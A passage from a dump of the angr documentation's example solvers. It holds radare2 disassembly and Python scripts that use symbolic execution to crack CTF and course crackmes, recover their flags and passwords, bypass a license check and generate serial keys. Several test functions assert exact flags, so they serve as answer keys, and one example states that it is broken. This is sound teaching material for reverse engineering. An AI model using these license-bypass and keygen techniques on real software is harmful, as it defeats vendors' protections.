26 | 27 | """ 28 | [0x08048330]> pdf @ main 29 | ;-- main: 30 | ╒ (fcn) sym.main 144 31 | │ ; var int local_4h @ ebp-0x4 32 | │ ; var int local_8h @ ebp-0x8 33 | │ ; var int local_ch @ ebp-0xc 34 | │ ; var int arg_4h @ esp+0x4 35 | │ ; UNKNOWN XREF from 0x08048348 (entry0) 36 | │ ; DATA XREF from 0x08048347 (entry0) 37 | │ 0x080483e4 55 push ebp 38 | │ 0x080483e5 89e5 ebp = esp 39 | │ 0x080483e7 83ec18 esp -= 0x18 40 | │ 0x080483ea 83e4f0 esp &= 0xfffffff0 41 | │ 0x080483ed b800000000 eax = 0 42 | │ 0x080483f2 83c00f eax += 0xf 43 | │ 0x080483f5 83c00f eax += 0xf 44 | │ 0x080483f8 c1e804 eax >>>= 4 45 | │ 0x080483fb c1e004 eax <<<= 4 46 | │ 0x080483fe 29c4 esp -= eax 47 | │ 0x08048400 c70424488504. dword [esp] = str.IOLI_Crackme_Level_0x02_n ; [0x8048548:4]=0x494c4f49 LEA str.IOLI_Crackme_Level_0x02_n ; "IOLI Crackme Level 0x02." @ 0x8048548 48 | │ 0x08048407 e810ffffff sym.imp.printf () 49 | │ 0x0804840c c70424618504. dword [esp] = str.Password: ; [0x8048561:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048561 50 | │ 0x08048413 e804ffffff sym.imp.printf () 51 | │ 0x08048418 8d45fc eax = [ebp - local_4h] 52 | │ 0x0804841b 89442404 dword [esp + arg_4h] = eax 53 | │ 0x0804841f c704246c8504. dword [esp] = 0x804856c ; [0x804856c:4]=0x50006425 ; "%d" @ 0x804856c 54 | │ 0x08048426 e8e1feffff sym.imp.scanf () 55 | │ 0x0804842b c745f85a0000. dword [ebp - local_8h] = 0x5a 56 | │ 0x08048432 c745f4ec0100. dword [ebp - local_ch] = 0x1ec 57 | │ 0x08048439 8b55f4 edx = dword [ebp - local_ch] 58 | │ 0x0804843c 8d45f8 eax = [ebp - local_8h] 59 | │ 0x0804843f 0110 dword [eax] += edx 60 | │ 0x08048441 8b45f8 eax = dword [ebp - local_8h] 61 | │ 0x08048444 0faf45f8 eax *= dword [ebp - local_8h] 62 | │ 0x08048448 8945f4 dword [ebp - local_ch] = eax 63 | │ 0x0804844b 8b45fc eax = dword [ebp - local_4h] 64 | │ 0x0804844e 3b45f4 if (eax == dword [ebp - local_ch] 65 | │ ┌─< 0x08048451 750e notZero 0x8048461) 66 | │ │ 0x08048453 c704246f8504. dword [esp] = str.Password_OK_:__n ; [0x804856f:4]=0x73736150 LEA str.Password_OK_:__n ; "Password OK :)." @ 0x804856f 67 | │ │ 0x0804845a e8bdfeffff sym.imp.printf () 68 | │ ┌──< 0x0804845f eb0c goto 0x804846d 69 | │ │└─> 0x08048461 c704247f8504. dword [esp] = str.Invalid_Password__n ; [0x804857f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804857f 70 | │ │ 0x08048468 e8affeffff sym.imp.printf () 71 | │ │ ; JMP XREF from 0x0804845f (sym.main) 72 | │ └──> 0x0804846d b800000000 eax = 0 73 | │ 0x08048472 c9 74 | ╘ 0x08048473 c3 75 | """ 76 | -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x03/crackme0x03: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/CSCI-4968-MBE/challenges/crackme0x03/crackme0x03 -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x03/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author: David Manouchehri 5 | # Modern Binary Exploitation 6 | # http://security.cs.rpi.edu/courses/binexp-spring2015/ 7 | 8 | import angr 9 | 10 | FIND_ADDR = 0x0804848a 11 | AVOID_ADDR = 0x0804847c 12 | 13 | def main(): 14 | proj = angr.Project('crackme0x03', load_options={"auto_load_libs": False}) 15 | 16 | sm = proj.factory.simulation_manager() 17 | sm.explore(find=FIND_ADDR, avoid=AVOID_ADDR) 18 | 19 | return sm.found[0].posix.dumps(0).lstrip(b'+0').rstrip(b'B\n\0') 20 | 21 | def test(): 22 | assert main() == b'338724' 23 | 24 | if __name__ == '__main__': 25 | print(repr(main())) 26 | 27 | """ 28 | [0x08048360]> pdf @ main 29 | ;-- main: 30 | ╒ (fcn) sym.main 128 31 | │ ; var int local_4h @ ebp-0x4 32 | │ ; var int local_8h @ ebp-0x8 33 | │ ; var int local_ch @ ebp-0xc 34 | │ ; var int arg_4h @ esp+0x4 35 | │ ; UNKNOWN XREF from 0x08048378 (entry0) 36 | │ ; DATA XREF from 0x08048377 (entry0) 37 | │ 0x08048498 55 push ebp 38 | │ 0x08048499 89e5 ebp = esp 39 | │ 0x0804849b 83ec18 esp -= 0x18 40 | │ 0x0804849e 83e4f0 esp &= 0xfffffff0 41 | │ 0x080484a1 b800000000 eax = 0 42 | │ 0x080484a6 83c00f eax += 0xf 43 | │ 0x080484a9 83c00f eax += 0xf 44 | │ 0x080484ac c1e804 eax >>>= 4 45 | │ 0x080484af c1e004 eax <<<= 4 46 | │ 0x080484b2 29c4 esp -= eax 47 | │ 0x080484b4 c70424108604. dword [esp] = str.IOLI_Crackme_Level_0x03_n ; [0x8048610:4]=0x494c4f49 LEA str.IOLI_Crackme_Level_0x03_n ; "IOLI Crackme Level 0x03." @ 0x8048610 48 | │ 0x080484bb e890feffff sym.imp.printf () 49 | │ 0x080484c0 c70424298604. dword [esp] = str.Password: ; [0x8048629:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048629 50 | │ 0x080484c7 e884feffff sym.imp.printf () 51 | │ 0x080484cc 8d45fc eax = [ebp - local_4h] 52 | │ 0x080484cf 89442404 dword [esp + arg_4h] = eax 53 | │ 0x080484d3 c70424348604. dword [esp] = 0x8048634 ; [0x8048634:4]=0x6425 ; "%d" @ 0x8048634 54 | │ 0x080484da e851feffff sym.imp.scanf () 55 | │ 0x080484df c745f85a0000. dword [ebp - local_8h] = 0x5a 56 | │ 0x080484e6 c745f4ec0100. dword [ebp - local_ch] = 0x1ec 57 | │ 0x080484ed 8b55f4 edx = dword [ebp - local_ch] 58 | │ 0x080484f0 8d45f8 eax = [ebp - local_8h] 59 | │ 0x080484f3 0110 dword [eax] += edx 60 | │ 0x080484f5 8b45f8 eax = dword [ebp - local_8h] 61 | │ 0x080484f8 0faf45f8 eax *= dword [ebp - local_8h] 62 | │ 0x080484fc 8945f4 dword [ebp - local_ch] = eax 63 | │ 0x080484ff 8b45f4 eax = dword [ebp - local_ch] 64 | │ 0x08048502 89442404 dword [esp + arg_4h] = eax 65 | │ 0x08048506 8b45fc eax = dword [ebp - local_4h] 66 | │ 0x08048509 890424 dword [esp] = eax 67 | │ 0x0804850c e85dffffff sym.test () 68 | │ 0x08048511 b800000000 eax = 0 69 | │ 0x08048516 c9 70 | ╘ 0x08048517 c3 71 | [0x08048460]> pdf @ sym.test 72 | ╒ (fcn) sym.test 42 73 | │ ; arg int arg_8h @ ebp+0x8 74 | │ ; arg int arg_ch @ ebp+0xc 75 | │ ; CALL XREF from 0x0804850c (sym.main) 76 | │ 0x0804846e 55 push ebp 77 | │ 0x0804846f 89e5 ebp = esp 78 | │ 0x08048471 83ec08 esp -= 8 79 | │ 0x08048474 8b4508 eax = dword [ebp + arg_8h] ; [0x8:4]=0 80 | │ 0x08048477 3b450c if (eax == dword [ebp + arg_ch] ; [0xc:4]=0 81 | │ ┌─< 0x0804847a 740e isZero 0x804848a) 82 | │ │ 0x0804847c c70424ec8504. dword [esp] = str.Lqydolg_Sdvvzrug_ ; [0x80485ec:4]=0x6479714c LEA str.Lqydolg_Sdvvzrug_ ; "Lqydolg#Sdvvzrug$" @ 0x80485ec 83 | │ │ 0x08048483 e88cffffff sym.shift () 84 | │ ┌──< 0x08048488 eb0c goto 0x8048496 85 | │ │└─> 0x0804848a c70424fe8504. dword [esp] = str.Sdvvzrug_RN______ ; [0x80485fe:4]=0x76766453 LEA str.Sdvvzrug_RN______ ; "Sdvvzrug#RN$$$#=," @ 0x80485fe 86 | │ │ 0x08048491 e87effffff sym.shift () 87 | │ │ ; JMP XREF from 0x08048488 (sym.test) 88 | │ └──> 0x08048496 c9 89 | ╘ 0x08048497 c3 90 | """ 91 | -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x04/crackme0x04: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/CSCI-4968-MBE/challenges/crackme0x04/crackme0x04 -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x05/crackme0x05: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/CSCI-4968-MBE/challenges/crackme0x05/crackme0x05 -------------------------------------------------------------------------------- /examples/ais3_crackme/ais3_crackme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ais3_crackme/ais3_crackme -------------------------------------------------------------------------------- /examples/ais3_crackme/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | ''' 5 | ais3_crackme has been developed by Tyler Nighswander (tylerni7) for ais3. 6 | 7 | It is an easy crackme challenge. It checks the command line argument. 8 | ''' 9 | 10 | import angr 11 | import claripy 12 | 13 | 14 | def main(): 15 | project = angr.Project("./ais3_crackme", auto_load_libs=False) 16 | 17 | #create an initial state with a symbolic bit vector as argv1 18 | argv1 = claripy.BVS("argv1",100*8) #since we do not the length now, we just put 100 bytes 19 | initial_state = project.factory.entry_state(args=["./crackme1",argv1]) 20 | 21 | #create a path group using the created initial state 22 | sm = project.factory.simulation_manager(initial_state) 23 | 24 | #symbolically execute the program until we reach the wanted value of the instruction pointer 25 | sm.explore(find=0x400602) #at this instruction the binary will print(the "correct" message) 26 | 27 | found = sm.found[0] 28 | #ask to the symbolic solver to get the value of argv1 in the reached state as a string 29 | solution = found.solver.eval(argv1, cast_to=bytes) 30 | 31 | print(repr(solution)) 32 | solution = solution[:solution.find(b"\x00")] 33 | print(solution) 34 | return solution 35 | 36 | def test(): 37 | res = main() 38 | assert res == b"ais3{I_tak3_g00d_n0t3s}" 39 | 40 | 41 | if __name__ == '__main__': 42 | print(repr(main())) 43 | 44 | -------------------------------------------------------------------------------- /examples/android_arm_license_validation/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | Quick-and-dirty solution for the (un-obfuscated) Android License Check crackme from the Obfuscation Metrics Project. 5 | The full how-to can be found in the 'Android' section of the OWASP Mobile Security Testing Guide: 6 | 7 | https://github.com/OWASP/owasp-mstg/blob/master/Document/0x06a-Reverse-Engineering-and-Tampering-Android.md 8 | 9 | ''' 10 | 11 | import angr 12 | import claripy 13 | import base64 14 | 15 | def main(): 16 | load_options = {} 17 | 18 | # Android NDK library path: 19 | # load_options['ld_path'] = ['/Users/berndt/Tools/android-ndk-r10e/platforms/android-21/arch-arm/usr/lib'] 20 | 21 | b = angr.Project("./validate", load_options = load_options, auto_load_libs=False) 22 | 23 | # The key validation function starts at 0x401760, so that's where we create the initial state. 24 | # This speeds things up a lot because we're bypassing the Base32-encoder. 25 | 26 | state = b.factory.blank_state(addr=0x401760) 27 | 28 | concrete_addr = 0xffe00000 29 | code = claripy.BVS('code', 10*8) 30 | state.memory.store(concrete_addr, code, endness='Iend_BE') 31 | state.regs.r0 = concrete_addr 32 | 33 | sm = b.factory.simulation_manager(state) 34 | 35 | # 0x401840 = Product activation passed 36 | # 0x401854 = Incorrect serial 37 | 38 | sm.explore(find=0x401840, avoid=0x401854) 39 | found = sm.found[0] 40 | 41 | # Get the solution string from *(R11 - 0x20). 42 | 43 | solution = found.solver.eval(code, cast_to=bytes) 44 | 45 | print(base64.b32encode(solution)) 46 | return code, found 47 | 48 | def test(): 49 | user_input, found = main() 50 | found.solver.add(user_input.get_byte(0) == ord('L')) 51 | found.solver.add(user_input.get_byte(2) == ord('O')) 52 | found.solver.add(user_input.get_byte(4) == ord('L')) 53 | found.solver.add(user_input.get_byte(6) == ord('Z')) 54 | found.solver.add(user_input.get_byte(8) == ord('!')) 55 | solution = found.solver.eval(user_input, cast_to=bytes) 56 | assert found.solver.satisfiable() == True 57 | # why does b32encode produce bytes and not str? great quesiton! 58 | assert base64.b32encode(solution) == b'JQAE6ACMABNAAIIA' 59 | 60 | if __name__ == '__main__': 61 | main() 62 | -------------------------------------------------------------------------------- /examples/android_arm_license_validation/validate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/android_arm_license_validation/validate -------------------------------------------------------------------------------- /examples/asisctffinals2015_fake/fake: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/asisctffinals2015_fake/fake -------------------------------------------------------------------------------- /examples/asisctffinals2015_fake/solve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import binascii 3 | 4 | def main(): 5 | p = angr.Project("fake", auto_load_libs=False) 6 | 7 | state = p.factory.blank_state(addr=0x4004AC) 8 | inp = state.solver.BVS('inp', 8*8) 9 | state.regs.rax = inp 10 | 11 | simgr= p.factory.simulation_manager(state) 12 | simgr.explore(find=0x400684) 13 | found = simgr.found[0] 14 | 15 | # We know the flag starts with "ASIS{" 16 | flag_addr = found.regs.rdi 17 | found.add_constraints(found.memory.load(flag_addr, 5) == int(binascii.hexlify(b"ASIS{"), 16)) 18 | 19 | # More constraints: the whole flag should be printable 20 | flag = found.memory.load(flag_addr, 40) 21 | for i in range(5, 5+32): 22 | cond_0 = flag.get_byte(i) >= ord('0') 23 | cond_1 = flag.get_byte(i) <= ord('9') 24 | cond_2 = flag.get_byte(i) >= ord('a') 25 | cond_3 = flag.get_byte(i) <= ord('f') 26 | cond_4 = found.solver.And(cond_0, cond_1) 27 | cond_5 = found.solver.And(cond_2, cond_3) 28 | found.add_constraints(found.solver.Or(cond_4, cond_5)) 29 | 30 | # And it ends with a '}' 31 | found.add_constraints(flag.get_byte(32+5) == ord('}')) 32 | 33 | # In fact, putting less constraints (for example, only constraining the first 34 | # several characters) is enough to get the final flag, and Z3 runs much faster 35 | # if there are less constraints. I added all constraints just to stay on the 36 | # safe side. 37 | 38 | flag_str = found.solver.eval(flag, cast_to=bytes) 39 | return flag_str.rstrip(b'\0') 40 | 41 | #print("The number to input: ", found.solver.eval(inp)) 42 | #print("Flag:", flag) 43 | 44 | # The number to input: 25313971399 45 | # Flag: ASIS{f5f7af556bd6973bd6f2687280a243d9} 46 | 47 | def test(): 48 | a = main() 49 | assert a == b'ASIS{f5f7af556bd6973bd6f2687280a243d9}' 50 | 51 | if __name__ == '__main__': 52 | import logging 53 | logging.getLogger('angr.sim_manager').setLevel(logging.DEBUG) 54 | print(main()) 55 | -------------------------------------------------------------------------------- /examples/asisctffinals2015_license/license: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/asisctffinals2015_license/license -------------------------------------------------------------------------------- /examples/asisctffinals2015_license/solve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | def main(): 5 | p = angr.Project("license", load_options={'auto_load_libs': False}) 6 | 7 | # Create a blank state 8 | state = p.factory.blank_state() 9 | 10 | # Build the file whose name is weird 11 | license_name = "_a\nb\tc_" 12 | 13 | # This is the license file 14 | # From analyzing the binary, we know that the license file should have five 15 | # lines in total, and each line has 6 characters. Not setting file content 16 | # may also work, but in that case, angr will produce many more paths, and we 17 | # will spent much more time in path trimming. 18 | 19 | bytestring = None 20 | for i in range(5): 21 | line = [ ] 22 | for j in range(6): 23 | line.append(state.solver.BVS('license_file_byte_%d_%d' % (i, j), 8)) 24 | state.add_constraints(line[-1] != b'\n') 25 | if bytestring is None: 26 | bytestring = claripy.Concat(*line) 27 | else: 28 | bytestring = bytestring.concat(state.solver.BVV(b'\n'), *line) 29 | 30 | license_file = angr.storage.file.SimFile(license_name, bytestring) 31 | state.fs.insert(license_name, license_file) 32 | 33 | simgr = p.factory.simulation_manager(state) 34 | 35 | simgr.explore( 36 | find=(0x400e93, ), 37 | avoid=(0x400bb1, 0x400b8f, 0x400b6d, 0x400a85, 38 | 0x400ebf, 0x400a59) 39 | ) 40 | 41 | # One path will be found 42 | found = simgr.found[0] 43 | rsp = found.regs.rsp 44 | flag_addr = rsp + 0x278 - 0xd8 # Ripped from IDA 45 | # Perform an inline call to strlen() in order to determine the length of the 46 | # flag 47 | FAKE_ADDR = 0x100000 48 | strlen = lambda state, arguments: \ 49 | angr.SIM_PROCEDURES['libc']['strlen'](p, FAKE_ADDR).execute( 50 | state, arguments=arguments 51 | ) 52 | flag_length = strlen(found, arguments=[flag_addr]).ret_expr 53 | # In case it's not null-terminated, we get the least number as the length 54 | flag_length_int = min(found.solver.eval_upto(flag_length, 3)) 55 | # Read out the flag! 56 | flag_int = found.solver.eval(found.memory.load(flag_addr, flag_length_int)) 57 | flag = bytes.fromhex(hex(flag_int)[2:]) 58 | return flag 59 | 60 | def test(): 61 | assert main() == b'ASIS{8d2cc30143831881f94cb05dcf0b83e0}' 62 | 63 | if __name__ == '__main__': 64 | print(main()) 65 | -------------------------------------------------------------------------------- /examples/b01lersctf2020_little_engine/engine: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/b01lersctf2020_little_engine/engine -------------------------------------------------------------------------------- /examples/b01lersctf2020_little_engine/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | import angr 4 | import claripy 5 | import time 6 | 7 | #compiled on ubuntu 18.04 system: 8 | #https://github.com/b01lers/b01lers-ctf-2020/tree/master/rev/100_little_engine 9 | 10 | def main(): 11 | #setup of addresses used in program 12 | #addresses assume base address of 13 | base_addr = 0x100000 14 | 15 | #length of desired input is 75 as found from reversing the binary in ghidra 16 | #need to add 4 times this size, since the actual array is 4 times the size 17 | #1 extra byte for first input 18 | input_len = 1+75*4 19 | 20 | #seting up the angr project 21 | # auto_load_libs can't be disabled as the test fails. 22 | p = angr.Project('./engine', main_opts={'base_addr': base_addr}, auto_load_libs=True) 23 | 24 | #looking at the code/binary, we can tell the input string is expected to fill 22 bytes, 25 | # thus the 8 byte symbolic size. Hopefully we can find the constraints the binary 26 | # expects during symbolic execution 27 | flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(input_len)] 28 | 29 | #extra \n for first input, then find the flag! 30 | flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')]) 31 | 32 | # enable unicorn engine for fast efficient solving 33 | st = p.factory.full_init_state( 34 | args=['./engine'], 35 | add_options=angr.options.unicorn, 36 | stdin=flag 37 | ) 38 | 39 | #constrain to non-newline bytes 40 | #constrain to ascii-only characters 41 | for k in flag_chars: 42 | st.solver.add(k < 0x7f) 43 | st.solver.add(k > 0x20) 44 | 45 | # Construct a SimulationManager to perform symbolic execution. 46 | # Step until there is nothing left to be stepped. 47 | sm = p.factory.simulation_manager(st) 48 | sm.run() 49 | 50 | #grab all finished states, that have the win function output in stdout 51 | y = [] 52 | for x in sm.deadended: 53 | if b"Chugga" in x.posix.dumps(1): 54 | y.append(x) 55 | 56 | #grab the first output 57 | valid = y[0].posix.dumps(0) 58 | 59 | #parse and turn into final flag 60 | bt = [ chr(valid[i]) for i in range(0,len(valid),2)] 61 | flag = ''.join(bt)[1:76] 62 | return flag 63 | 64 | def test(): 65 | assert main() == "pctf{th3_m0d3rn_st34m_3ng1n3_w45_1nv3nt3d_1n_1698_buT_th3_b3st_0n3_in_1940}" 66 | 67 | if __name__ == "__main__": 68 | before = time.time() 69 | print(main()) 70 | after = time.time() 71 | print("Time elapsed: {}".format(after - before)) 72 | -------------------------------------------------------------------------------- /examples/cmu_binary_bomb/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/cmu_binary_bomb/bomb -------------------------------------------------------------------------------- /examples/codegate_2017-angrybird/angrybird: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/codegate_2017-angrybird/angrybird -------------------------------------------------------------------------------- /examples/codegate_2017-angrybird/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Author: David Manouchehri 4 | # Runtime: ~15 seconds (thank you based lazy solves) 5 | 6 | import angr 7 | 8 | START_ADDR = 0x4007c2 9 | FIND_ADDR = 0x404fab # This is right before the printf 10 | 11 | def main(): 12 | proj = angr.Project('angrybird', auto_load_libs=False) 13 | # There's a couple anti-run instructions in this binary. 14 | # Yes, anti-run. That's not a typo. 15 | 16 | # Because I'm not interested in fixing a weird binary, I'm going to skip 17 | # all the beginning of the program. 18 | # this also skips a bunch of initialization, so let's fix that: 19 | state = proj.factory.entry_state(addr=START_ADDR, add_options={angr.options.LAZY_SOLVES}) 20 | state.regs.rbp = state.regs.rsp 21 | # this is the length for the read 22 | state.mem[state.regs.rbp - 0x74].int = 0x40 23 | 24 | # using the same values as the binary doesn't work for these variables, I 25 | # think because they point to the GOT and the binary is using that to try 26 | # to fingerprint that it's loaded in angr. Setting them to pointers to 27 | # symbolic memory works fine. 28 | state.mem[state.regs.rbp - 0x70].long = 0x1000 29 | state.mem[state.regs.rbp - 0x68].long = 0x1008 30 | state.mem[state.regs.rbp - 0x60].long = 0x1010 31 | state.mem[state.regs.rbp - 0x58].long = 0x1018 32 | 33 | sm = proj.factory.simulation_manager(state) # Create the SimulationManager. 34 | sm.explore(find=FIND_ADDR) # This will take a couple minutes. Ignore the warning message(s), it's fine. 35 | found = sm.found[-1] 36 | flag = found.posix.dumps(0) 37 | 38 | # This trims off anything that's not printable. 39 | return flag[:20] 40 | 41 | def test(): 42 | assert main() == b'Im_so_cute&pretty_:)' 43 | 44 | if __name__ == '__main__': 45 | print(main()) 46 | -------------------------------------------------------------------------------- /examples/csaw_wyvern/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | import angr 4 | import claripy 5 | import time 6 | 7 | def main(): 8 | # Load the binary. This is a 64-bit C++ binary, pretty heavily obfuscated. 9 | # its correct emulation by angr depends heavily on the libraries it is loaded with, 10 | # so if this script fails, try copying to this dir the .so files from our binaries repo: 11 | # https://github.com/angr/binaries/tree/master/tests/x86_64 12 | p = angr.Project('wyvern') 13 | 14 | # It's reasonably easy to tell from looking at the program in IDA that the key will 15 | # be 29 bytes long, and the last byte is a newline. Let's construct a value of several 16 | # symbols that we can add constraints on once we have a state. 17 | 18 | flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(28)] 19 | flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) 20 | 21 | # This block constructs the initial program state for analysis. 22 | # Because we're going to have to step deep into the C++ standard libraries 23 | # for this to work, we need to run everyone's initializers. The full_init_state 24 | # will do that. In order to do this peformantly, we will use the unicorn engine! 25 | st = p.factory.full_init_state( 26 | args=['./wyvern'], 27 | add_options=angr.options.unicorn, 28 | stdin=flag, 29 | ) 30 | 31 | # Constrain the first 28 bytes to be non-null and non-newline: 32 | for k in flag_chars: 33 | st.solver.add(k != 0) 34 | st.solver.add(k != 10) 35 | 36 | # Construct a SimulationManager to perform symbolic execution. 37 | # Step until there is nothing left to be stepped. 38 | sm = p.factory.simulation_manager(st) 39 | sm.run() 40 | 41 | # Get the stdout of every path that reached an exit syscall. The flag should be in one of these! 42 | out = b'' 43 | for pp in sm.deadended: 44 | out = pp.posix.dumps(1) 45 | if b'flag{' in out: 46 | return next(filter(lambda s: b'flag{' in s, out.split())) 47 | 48 | # Runs in about 15 minutes! 49 | 50 | def test(): 51 | assert main() == b'flag{dr4g0n_or_p4tric1an_it5_LLVM}' 52 | 53 | if __name__ == "__main__": 54 | before = time.time() 55 | print(main()) 56 | after = time.time() 57 | print("Time elapsed: {}".format(after - before)) 58 | -------------------------------------------------------------------------------- /examples/csaw_wyvern/wyvern: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/csaw_wyvern/wyvern -------------------------------------------------------------------------------- /examples/csgames2018/KeygenMe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/csgames2018/KeygenMe -------------------------------------------------------------------------------- /examples/csgames2018/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Author: David Manouchehri 4 | # CS Games 2018 5 | 6 | ''' 7 | Reverse #6: KeygenMe 8 | 9 | The task is simple. Reverse the key generation algorithm to make a working key generator. 10 | 11 | Provide 100 valid keys in a file named Keys.txt. 12 | ''' 13 | 14 | import angr, claripy 15 | import logging 16 | logging.getLogger('angr.manager').setLevel(logging.DEBUG) 17 | 18 | # Used for troubleshooting 19 | # import IPython 20 | # logging.getLogger('angr').setLevel(logging.DEBUG) 21 | 22 | def main(): 23 | project = angr.Project('./KeygenMe', load_options={"auto_load_libs": False}) 24 | 25 | def correct(state): 26 | try: 27 | return b'correct!' in state.posix.dumps(1) 28 | except Exception as e: 29 | return False 30 | 31 | def wrong(state): 32 | try: 33 | return b'incorrect' in state.posix.dumps(1) 34 | except Exception as e: 35 | return False 36 | 37 | input_key = claripy.BVS("input_key", 16*8) # As seen in 0x699, keys are 0x10 (16) characters long. 38 | 39 | state = project.factory.entry_state(args=["./KeygenMe", input_key], add_options=angr.options.unicorn) # Unicorn Engine is not needed, but will speed up the process 40 | 41 | simulation_manager = project.factory.simulation_manager(state) 42 | 43 | # (•_•) ( •_•)>⌐■-■ (⌐■_■) 44 | simulation_manager.explore(find=correct, avoid=wrong) # We could alternatively use addresses here, like find=0x400000 + 0x8f3. 45 | 46 | # For troubleshooting/development, drop into IPython 47 | # IPython.embed() 48 | 49 | found = simulation_manager.found[-1] 50 | 51 | # At this point, we've actually found "correct" flags, but they contain symbols that probably aren't on all keyboards. Ideally we only want to find alphanumeric keys. 52 | 53 | def is_alphanumeric(state, byte): 54 | is_num = state.solver.And(byte >= b"0", byte <= b"9") 55 | is_alpha_lower = state.solver.And(byte >= b"a", byte <= b"z") 56 | is_alpha_upper = state.solver.And(byte >= b"A", byte <= b"Z") 57 | return state.solver.Or(is_num, is_alpha_lower, is_alpha_upper) 58 | 59 | # XXXX-XX-XXX-XXXX 60 | for i in list(range(0, 4)) + list(range(5, 7)) + list(range(8, 11)) + list(range(12, 16)): 61 | found.add_constraints(is_alphanumeric(found, input_key.chop(8)[i])) 62 | 63 | min_solutions = found.solver.min(input_key) 64 | 65 | keys = found.solver.eval_atleast(input_key, 100, cast_to=bytes) 66 | 67 | print("We found at least " + str(min_solutions) + " keys! The Recording Industry Association of Space Penguins says their entire galaxy is now bankrupt, so we might as well have 100 of their keys:") 68 | 69 | for key in keys: 70 | print(key) 71 | 72 | return min_solutions 73 | 74 | def test(): 75 | assert main() >= 100 76 | 77 | if __name__ == '__main__': 78 | main() 79 | -------------------------------------------------------------------------------- /examples/defcamp_r100/r100: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/defcamp_r100/r100 -------------------------------------------------------------------------------- /examples/defcamp_r100/solve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | 3 | def main(): 4 | p = angr.Project("r100", auto_load_libs=False) 5 | simgr = p.factory.simulation_manager(p.factory.full_init_state()) 6 | simgr.explore(find=0x400844, avoid=0x400855) 7 | 8 | return simgr.found[0].posix.dumps(0).strip(b'\0\n') 9 | 10 | def test(): 11 | assert main().startswith(b'Code_Talkers') 12 | 13 | if __name__ == '__main__': 14 | print(main()) 15 | -------------------------------------------------------------------------------- /examples/defcamp_r200/r200: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/defcamp_r200/r200 -------------------------------------------------------------------------------- /examples/defcamp_r200/solve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import logging 3 | 4 | print("WARNING: THIS EXAMPLE IS BROKEN RIGHT NOW") 5 | 6 | def main(): 7 | p = angr.Project("r200", auto_load_libs=False) 8 | sm = p.factory.simulation_manager() 9 | 10 | # merge all states every time we hit the bottom of the outer loop 11 | sm.use_technique(angr.exploration_techniques.ManualMergepoint(0x4007FD, wait_counter=9999)) 12 | # avoid the antidebug traps, go to puts("Nice!") 13 | sm.use_technique(angr.exploration_techniques.Explorer(find=0x400936, avoid=(0x40085D, 0x400882))) 14 | # go! 15 | sm.run() 16 | return sm.one_found.posix.dumps(0).split('\n')[0] 17 | 18 | def test(): 19 | assert main() == 'rotors' 20 | 21 | if __name__ == '__main__': 22 | logging.getLogger('angr.manager').setLevel('DEBUG') 23 | logging.getLogger('angr.exploration_techniques.manual_mergepoint').setLevel('DEBUG') 24 | print(main()) 25 | -------------------------------------------------------------------------------- /examples/defcon2016quals_baby-re/baby-re: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/defcon2016quals_baby-re/baby-re -------------------------------------------------------------------------------- /examples/defcon2016quals_baby-re/solve.py: 